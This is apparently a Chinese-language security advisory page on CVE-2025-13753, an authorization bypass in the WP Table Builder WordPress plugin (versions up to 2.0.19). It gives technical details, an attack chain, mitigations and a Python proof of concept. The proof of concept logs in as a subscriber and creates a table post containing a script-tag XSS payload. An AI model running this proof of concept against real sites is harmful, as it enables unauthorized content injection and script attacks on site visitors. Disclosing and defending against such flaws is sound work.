IPBUF安全漏洞报告
English
CVE-2025-13753 CVSS 4.3 中危

CVE-2025-13753 WordPress WP Table Builder插件授权绕过漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-13753
漏洞类型
授权绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WP Table Builder – Drag & Drop Table Builder plugin for WordPress

相关标签

CVE-2025-13753WordPress插件漏洞授权绕过WP Table BuilderIncorrect Authorization低权限用户利用内容注入WordPress安全

漏洞概述

CVE-2025-13753是WordPress WP Table Builder插件中的一个授权绕过漏洞。该插件是WordPress平台上流行的拖拽式表格构建器工具。漏洞根源在于save_table()函数的授权检查存在缺陷,导致低权限用户(如订阅者角色)能够执行本应需要更高权限的操作。具体而言,攻击者只需拥有WordPress网站的订阅者(Subscriber)账户,即可利用此漏洞创建和修改wptb-table类型的帖子内容,而正常情况下这类操作通常需要编辑者(Editor)或管理员权限。此漏洞影响该插件所有版本直至2.0.19,CVSS评分4.3,属于中等严重程度。虽然漏洞不直接导致服务器被完全控制,但可被用于内容篡改、钓鱼页面植入或进一步横向渗透。由于WordPress插件广泛部署于企业官网、博客和电子商务平台,此类授权缺陷可能造成严重的内容安全风险。

技术细节

漏洞存在于WP Table Builder插件的save_table()函数中,该函数负责保存用户创建的表格数据。问题关键在于该函数缺少充分的权限验证检查,错误地允许任何已认证用户(包括最低权限的订阅者角色)调用此功能。在正常的安全设计下,表格创建和修改操作应当仅对具有编辑权限的用户开放,但实现中仅检查了用户是否登录,而未验证其角色权限是否满足操作要求。攻击者可通过构造恶意HTTP请求,直接调用save_table()端点,传入精心设计的表格数据payload。由于WordPress的订阅者角色默认可以登录并访问/wp-admin/,攻击面进一步扩大。值得注意的是,攻击者创建的wptb-table帖子类型可能绕过某些安全插件的内容过滤机制,因为这类帖子类型在WordPress默认内容管理流程中具有特殊地位。修复版本为2.0.20,开发者加强了save_table()函数的current_user_can()权限验证。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的订阅者(Subscriber)账户凭据,或注册新订阅者账户
STEP 2
步骤2
攻击者使用凭据登录WordPress,获取有效会话cookie
STEP 3
步骤3
攻击者构造恶意HTTP POST请求到admin-ajax.php,调用wptb_save_table动作
STEP 4
步骤4
由于save_table()函数缺少正确的current_user_can()权限检查,请求被服务器接受
STEP 5
步骤5
服务器在数据库中创建新的wptb-table类型帖子,攻击者获得内容创建权限
STEP 6
步骤6
攻击者可在表格内容中注入恶意脚本(XSS)或创建钓鱼内容,用于后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13753 PoC - WP Table Builder Authorization Bypass # Affected: WP Table Builder plugin <= 2.0.19 # Type: Incorrect Authorization Check import requests import sys from urllib.parse import urlencode target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data, cookies=session.cookies) # Step 2: Create malicious wptb-table post via save_table() # The vulnerability allows Subscriber role to create wptb-table posts save_table_url = f"{target_url}/wp-admin/admin-ajax.php" # Table data payload - can contain malicious content table_payload = { "action": "wptb_save_table", "wptb_table_data": "[{\"row\":0,\"col\":0,\"content\":\"<script>alert('XSS')</script>\"}]", "wptb_table_title": "Malicious Table Created by Subscriber", "post_id": "0", # 0 for new post creation "nonce": "" # May need to extract valid nonce from page source } response = session.post(save_table_url, data=table_payload) print(f"Response Status: {response.status_code}") print(f"Response Content: {response.text}") # Step 3: Verify table creation # Check if wptb-table post was created in WordPress admin verify_url = f"{target_url}/wp-admin/edit.php?post_type=wptb-table" verify_response = session.get(verify_url) print(f"Verification - Tables page accessible: {verify_response.status_code == 200}")

影响范围

WP Table Builder plugin <= 2.0.19 (所有版本直至并包括2.0.19)

防御指南

临时缓解措施
在官方安全更新发布前,可采取以下临时缓解措施:1) 临时禁用WP Table Builder插件,若业务必须使用则限制其访问权限;2) 使用WordPress安全插件监控并阻止低权限用户的wptb_save_table AJAX操作;3) 审查现有订阅者账户,移除可疑账户;4) 启用双因素认证增强登录安全;5) 考虑使用.htaccess或Nginx配置限制admin-ajax.php的访问频率和来源IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表